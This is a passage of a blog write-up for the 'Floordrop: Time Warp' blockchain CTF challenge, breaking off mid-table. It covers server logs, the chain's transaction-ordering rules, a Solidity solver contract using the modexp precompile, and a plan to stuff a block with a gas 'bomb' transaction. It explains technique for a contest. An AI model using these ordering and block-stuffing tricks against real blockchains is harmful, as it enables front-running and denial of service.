&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://lcn2.github.io/mersenne-english-name/m44497/prime-c.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://lcn2.github.io/mersenne-english-name/m44497/prime-c.html&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;So we can find a modulus of square root with the simple way.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://math.stackexchange.com/questions/1273690/when-p-3-pmod-4-show-that-ap1-4-pmod-p-is-a-square-root-of-a&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://math.stackexchange.com/questions/1273690/when-p-3-pmod-4-show-that-ap1-4-pmod-p-is-a-square-root-of-a&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;However, the bit length of MODULUS is very very very long and it takes more than 5s in my environmnet.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;infra&lt;/h3&gt;
&lt;pre id=&quot;code_1707050771148&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Welcome to Floordrop: Time Warp! Can you pick up the flag in time?
  1. Solve a mock challenge (extra time to solve)
  2. Solve the real challenge
  3. Exit
Please choose an option: 1
Preparing challenge...
[2024-02-04 12:21:16.354597] Deploying challenge contract...
[2024-02-04 12:21:21.525273] Challenge contract deployed at 0x2356377E7353FE956fd02A8A8eb84ADd167bDDef
[2024-02-04 12:21:21.526494] Challenge nonce: 0xdf35c0a630e7abdb373831b7c47e79abcf3235fbf9e313100f16a6a2cfe7b483
[2024-02-04 12:21:21.526522] Use this nonce when calling solveChallenge, i.e. solveChallenge(solution, nonce), remember solution is big endian bytes, and nonce is uint256
[2024-02-04 12:21:21.526550] MOCK: setChallenge will be called with: 129121721261020899191208319706888856561
[2024-02-04 12:21:21.526560] MOCK: Waiting for 5 seconds to give you a chance to compute the solution...
[2024-02-04 12:21:26.861795] The challenge will be set momentarily...
[2024-02-04 12:21:31.490502] Sent setChallenge transaction 0xa812fd2c4b2b8178a07dca553b9194998fdfdd8e5cc50b5d1e4225d6f0ec99df; waiting 2secs before sending expireChallenge transaction...
[2024-02-04 12:21:33.490893] Sent expireChallenge transaction 0xeb3be603107e2991284ae23af038bc33bdf8c9fa04a2576d91eb48140f3e00b4
[2024-02-04 12:21:33.490932] Waiting for transactions to finalize...
[2024-02-04 12:21:41.642236] Set challenge transaction finalized in block 28193
[2024-02-04 12:21:41.642275] Expire challenge transaction finalized in block 28193
[2024-02-04 12:21:42.322810] We did not find the correct GotFlag event. Better luck next time!&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1707050835012&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Welcome to Floordrop: Time Warp! Can you pick up the flag in time?
  1. Solve a mock challenge (extra time to solve)
  2. Solve the real challenge
  3. Exit
Please choose an option: 2
Preparing challenge...
[2024-02-04 12:46:33.581271] Deploying challenge contract...
[2024-02-04 12:46:41.306614] Challenge contract deployed at 0x4c9897d44F9cf572BdEC8acc6C92f4787aeE95Ba
[2024-02-04 12:46:41.307731] Challenge nonce: 0xef4e22d43cc66ead910b8f7b87ddf4b591f3e1601ddbb4495e888bc28f8a3570
[2024-02-04 12:46:41.307751] Use this nonce when calling solveChallenge, i.e. solveChallenge(solution, nonce), remember solution is big endian bytes, and nonce is uint256
[2024-02-04 12:46:41.606216] The challenge will be set momentarily...
[2024-02-04 12:46:51.391412] Sent setChallenge transaction 0x1cb42eaf917bafad523ba429bccb08309d7d863fb3912f722a3be7b692a79cc1; waiting 2secs before sending expireChallenge transaction...
[2024-02-04 12:46:53.401424] Sent expireChallenge transaction 0x7517bec9d5842cfc015bf862e1eccd41b2427e56f09cae6854e602c82e7274b0
[2024-02-04 12:46:53.401467] Waiting for transactions to finalize...
[2024-02-04 12:47:01.375045] Set challenge transaction finalized in block 28345
[2024-02-04 12:47:01.375080] Expire challenge transaction finalized in block 28345
[2024-02-04 12:47:01.722136] We did not find the correct GotFlag event. Better luck next time!&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3502&quot; data-origin-height=&quot;1055&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QpH9g/btsEtj6F6c0/rt0eBqGvqoC253kw7Y9iI0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QpH9g/btsEtj6F6c0/rt0eBqGvqoC253kw7Y9iI0/img.png&quot; data-alt=&quot;server timeline&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QpH9g/btsEtj6F6c0/rt0eBqGvqoC253kw7Y9iI0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQpH9g%2FbtsEtj6F6c0%2Frt0eBqGvqoC253kw7Y9iI0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3502&quot; height=&quot;1055&quot; data-origin-width=&quot;3502&quot; data-origin-height=&quot;1055&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;server timeline&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;When a user connects to the server using nc, the server proceeds with the following steps.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. deploy a challenge contract&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. call setChallenge()&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. call expireChallenge()&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. check GotFlag event&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The difference between mock and real is that the mock provides the value of current_challenge in advance, giving a user time to calculate the square root.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;However, the real's current_challenge is not provided, so we have to read the setChallenge() transaction and extract it from the calldata.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3502&quot; data-origin-height=&quot;1055&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FgLaX/btsElIgmE69/p6ImwwoIUD08zRwEGe8xD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FgLaX/btsElIgmE69/p6ImwwoIUD08zRwEGe8xD0/img.png&quot; data-alt=&quot;real challenge submission timeline&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FgLaX/btsElIgmE69/p6ImwwoIUD08zRwEGe8xD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFgLaX%2FbtsElIgmE69%2Fp6ImwwoIUD08zRwEGe8xD0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3502&quot; height=&quot;1055&quot; data-origin-width=&quot;3502&quot; data-origin-height=&quot;1055&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;real challenge submission timeline&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;If we assume a minimum computation time of 5s, we won't be able to call solveChallenge() in time before expireChallenge() transaction is generated.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;First, I explored how transaction ordering within a block works thorugh a block explorer.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;As you can see from the genesis.json, block are generated every 10s uisng the PoA.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;This is the transaction ordering mechanism of DiceChain discovered thorugh various tests.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. accurate nonce if from field crashes&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. higher gasPrice&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. earlier received time&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In the situation above, if all gas prices are the same, the pending transactions and ordering results would be as follows:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pending txs&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 71.7442%; height: 135px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style8&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 19.0698%; text-align: center;&quot;&gt;receive time&lt;/td&gt;
&lt;td style=&quot;width: 22.3837%; text-align: center;&quot;&gt;gas price&lt;/td&gt;
&lt;td style=&quot;width: 15.8721%; text-align: center;&quot;&gt;from&lt;/td&gt;
&lt;td style=&quot;width: 42.6744%; text-align: center;&quot;&gt;tx&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 19.0698%; text-align: center;&quot;&gt;T&lt;/td&gt;
&lt;td style=&quot;width: 22.3837%; text-align: center;&quot;&gt;G&lt;/td&gt;
&lt;td style=&quot;width: 15.8721%; text-align: center;&quot;&gt;server&lt;/td&gt;
&lt;td style=&quot;width: 42.6744%; text-align: center;&quot;&gt;setChallenge()&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 19.0698%; text-align: center;&quot;&gt;T+1&lt;/td&gt;
&lt;td style=&quot;width: 22.3837%; text-align: center;&quot;&gt;G&lt;/td&gt;
&lt;td style=&quot;width: 15.8721%; text-align: center;&quot;&gt;server&lt;/td&gt;
&lt;td style=&quot;width: 42.6744%; text-align: center;&quot;&gt;expireChallenge()&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 19.0698%; text-align: center;&quot;&gt;T+2&lt;/td&gt;
&lt;td style=&quot;width: 22.3837%; text-align: center;&quot;&gt;G&lt;/td&gt;
&lt;td style=&quot;width: 15.8721%; text-align: center;&quot;&gt;user&lt;/td&gt;
&lt;td style=&quot;width: 42.6744%; text-align: center;&quot;&gt;solveChallenge()&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ordering result&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 71.7442%; height: 135px;&quot; border=&quot;1&quot; data-ke-style=&quot;style8&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 17.9628%; text-align: center;&quot;&gt;execute order&lt;/td&gt;
&lt;td style=&quot;width: 19.7457%; text-align: center;&quot;&gt;receive time&lt;/td&gt;
&lt;td style=&quot;width: 13.3075%; text-align: center;&quot;&gt;gas price&lt;/td&gt;
&lt;td style=&quot;width: 15.548%; text-align: center;&quot;&gt;from&lt;/td&gt;
&lt;td style=&quot;width: 33.4361%; text-align: center;&quot;&gt;tx&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 17.9628%; text-align: center;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;width: 19.7457%; text-align: center;&quot;&gt;T&lt;/td&gt;
&lt;td style=&quot;width: 13.3075%; text-align: center;&quot;&gt;G&lt;/td&gt;
&lt;td style=&quot;width: 15.548%; text-align: center;&quot;&gt;server&lt;/td&gt;
&lt;td style=&quot;width: 33.4361%; text-align: center;&quot;&gt;setChallenge()&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 17.9628%; text-align: center;&quot;&gt;2&lt;/td&gt;
&lt;td style=&quot;width: 19.7457%; text-align: center;&quot;&gt;T+1&lt;/td&gt;
&lt;td style=&quot;width: 13.3075%; text-align: center;&quot;&gt;G&lt;/td&gt;
&lt;td style=&quot;width: 15.548%; text-align: center;&quot;&gt;server&lt;/td&gt;
&lt;td style=&quot;width: 33.4361%; text-align: center;&quot;&gt;expireChallenge()&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 17.9628%; text-align: center;&quot;&gt;3&lt;/td&gt;
&lt;td style=&quot;width: 19.7457%; text-align: center;&quot;&gt;T+2&lt;/td&gt;
&lt;td style=&quot;width: 13.3075%; text-align: center;&quot;&gt;G&lt;/td&gt;
&lt;td style=&quot;width: 15.548%; text-align: center;&quot;&gt;user&lt;/td&gt;
&lt;td style=&quot;width: 33.4361%; text-align: center;&quot;&gt;solveChallenge()&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;According to the block explorer, the gas prices of the server is 2000000016. &lt;span style=&quot;background-color: #ffffff; color: #1a202c; text-align: start;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;620&quot; data-origin-height=&quot;31&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oUtI5/btsEnVsbt18/KqJgjkxI3W7e0uy1VKIKF0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oUtI5/btsEnVsbt18/KqJgjkxI3W7e0uy1VKIKF0/img.png&quot; data-alt=&quot;block explorer&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oUtI5/btsEnVsbt18/KqJgjkxI3W7e0uy1VKIKF0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoUtI5%2FbtsEnVsbt18%2FKqJgjkxI3W7e0uy1VKIKF0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;620&quot; height=&quot;31&quot; data-origin-width=&quot;620&quot; data-origin-height=&quot;31&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;block explorer&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;If user's gas price is higher than the server, the pending transactions and ordering results would be as follows:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pending txs&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 71.7442%; height: 135px;&quot; border=&quot;1&quot; data-ke-style=&quot;style8&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;receive time&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;gas price&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;from&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;tx&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;T&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;G&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;server&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;setChallenge()&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;T+1&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;G&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;server&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;expireChallenge()&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;T+2&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;G+1&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;user&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;solveChallenge()&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ordering result&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 71.7442%; height: 135px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style8&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;execute order&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;receive time&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;gas price&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;from&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;tx&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;T+2&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;G+1&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;user&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;solveChallenge ()&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;2&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;T+1&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;G&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;server&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;setChallenge ()&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;3&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;T+2&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;G&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;user&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;expireChallenge ()&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;solveChallenge() would be reverted because setChallenge() isn't called yet.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;idea&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;For the first attempt, I considered executing the square root operation in the bigmodexp contract.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;However, trying to perform the calculation with bigmodexp in the EVM, which takes 5s in python, resulted in an out-of-gas.&lt;/p&gt;
&lt;pre id=&quot;code_1707066635315&quot; class=&quot;sol cs&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;contract Solver {
    function fjiodsafjoidsafjasdoiji() public {
        address payable addr = payable(msg.sender);
        selfdestruct(addr);
    }

    function dniovandsvoinasdvoidn(
        address target,
        uint256 nonce,
        bytes calldata chal, 
        bytes calldata eexp 
    ) public {
        bytes memory mem = new bytes(5568);

        assembly {
            // Free memory pointer
            let pointer := mload(0x40)
            let base_len := chal.length
            let exp_len := eexp.length
            mstore(pointer, base_len) 
            mstore(add(pointer, 0x20), exp_len)  
            mstore(add(pointer, 0x40), 5568) 
            calldatacopy(add(pointer, 0x60), chal.offset, base_len) 
            calldatacopy(add(add(pointer, 0x60), base_len), eexp.offset, exp_len) 
            let exp_start := add(add(add(pointer, 0x60), base_len), exp_len) 
            for { let i := 32 } lt(i, 5568) { i := add(i, 32) } {
                mstore(
                    add(exp_start, i),
                    0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
                )
            }

            mstore(
                exp_start,
                0x1ffffffffffffffffffffffffffffffffffffffffffffffffffff
            )

            let ret := staticcall(
                gas(),
                0x05,
                pointer, 
                sub(add(exp_start, 5568), pointer), 
                exp_start, 
                5568
            ) 

            let memPtr := add(mem, 0x20)
            for { let i := 0 } lt(i, 5568) { i := add(i, 0x20) } {
                let data := mload(add(exp_start, i))
                mstore(add(memPtr, i), data)
            }
        }

        ProofOfWork(target).solveChallenge(mem, nonce);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The second attempt involved using the gas limit of 30,000,000 per block to consume all the gas.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;331&quot; data-origin-height=&quot;36&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/541xp/btsEnTOHrni/Oq6psBZ2G0NObrQ0ZKu5F0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/541xp/btsEnTOHrni/Oq6psBZ2G0NObrQ0ZKu5F0/img.png&quot; data-alt=&quot;block explorer&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/541xp/btsEnTOHrni/Oq6psBZ2G0NObrQ0ZKu5F0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F541xp%2FbtsEnTOHrni%2FOq6psBZ2G0NObrQ0ZKu5F0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;331&quot; height=&quot;36&quot; data-origin-width=&quot;331&quot; data-origin-height=&quot;36&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;block explorer&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pending txs&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 71.7442%; height: 135px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style8&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center; width: 25.2836%;&quot;&gt;receive time&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 20.0972%;&quot;&gt;gas price&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 13.4522%;&quot;&gt;from&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 25.6077%;&quot;&gt;tx&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 15.397%;&quot;&gt;gas&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center; width: 25.2836%;&quot;&gt;T&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 20.0972%;&quot;&gt;G&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 13.4522%;&quot;&gt;server&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 25.6077%;&quot;&gt;setChallenge()&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 15.397%;&quot;&gt;60,000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center; width: 25.2836%;&quot;&gt;T+1&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 20.0972%;&quot;&gt;G+2&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 13.4522%;&quot;&gt;user&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 25.6077%;&quot;&gt;bomb()&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 15.397%;&quot;&gt;27,000,000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center; width: 25.2836%;&quot;&gt;T+2&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 20.0972%;&quot;&gt;G&lt;/td&gt;
